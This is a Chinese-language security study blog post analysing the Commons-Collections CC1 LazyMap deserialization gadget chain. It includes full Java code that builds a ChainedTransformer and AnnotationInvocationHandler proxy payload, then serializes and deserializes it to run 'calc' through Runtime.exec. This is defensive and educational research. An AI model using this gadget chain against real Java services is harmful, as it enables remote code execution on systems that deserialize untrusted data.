CC1-LazyMap
redpomelo Lv2

前言

在上文中提到了Commons-Collections的TransformMap 链,其实CC1是有两条链子的,今天来补充LazyMap链,这条链也是被称为正版链,因为 用的就是这条链

正版CC1分析

尾部exec的方法

上一篇文章写的一样,还是在InvokeTransformer类里的

image-20241202174712927

通过反射构造任意类,具体不在赘述,右键-》查找用法

image-20241202174814224

可以看到LazyMap的get方法出现了transform,get方法的作用域为pubulic

寻找链子

Ctrl+右键点击factory,跟过去看看这是什么东西,

image-20241202175203296

然后看到了decorate方法,这个方法,和上篇文章那个差不多,就是往里传一个Map,它返回一个LazyMap尝试用它弹个计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"});
HashMap<Object,Object> hashMap = new HashMap<>();
Map decoratedMap = LazyMap.decorate(hashMap, invokerTransformer); // 生成恶意的map
// 反射调用LazyMap的get方法
Class<LazyMap> lazyMapClass = LazyMap.class;
Method lazyMapGetMethod = lazyMapClass.getMethod("get", Object.class);
// 开启反射权限
lazyMapGetMethod.setAccessible(true);
lazyMapGetMethod.invoke(decoratedMap,runtime);

}

image-20241202180831543

寻找readObject

说明这里是可行的,接下来我们去寻找入口类

image-20241202182655300

看了看哪些类调用LazyMap.get(),我也不知道4400多个调用大佬们是怎么找到的,反正就是跟到了AnnotationInvocationHandler.invoke() 方法中找到了有一个地方调用了 get() 方法,这个类我们在上一篇文章中也是有用到的,

位于sun.reflect.annotation.AnnotationInvocationHandler

image-20241202183247095

同时这个类里有readObject()方法,可以作为入口类,且memberValues参数是写在构造函数里的,是我们可以控制的,现在的问题就是要怎么触发invoke方法

编写EXP

要触发invoke方法,就会想到用动态代理,一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke() 方法

image-20241202184140707

这里调了entrySet() 方法,也就是说,如果我们将 memberValues 的值改为代理对象,当调用代理对象的方法,那么就会跳到执行 invoke() 方法,最终完成整条链子的调用

image-20241202190627284

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package com.study;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class CC1Test {
public static void main(String[] args) throws Exception {
// 1. 创建Transformer数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 2、构造恶意map
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);

// 代理对象
Map proxyMap = (Map) Proxy.newProxyInstance(declaredConstructor.getClass().getClassLoader(),
new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);

// 序列化
serialize(invocationHandler);
unserialize("ser.bin");

}

// 序列化
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

// 反序列化
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 15.4k 访客数 访问量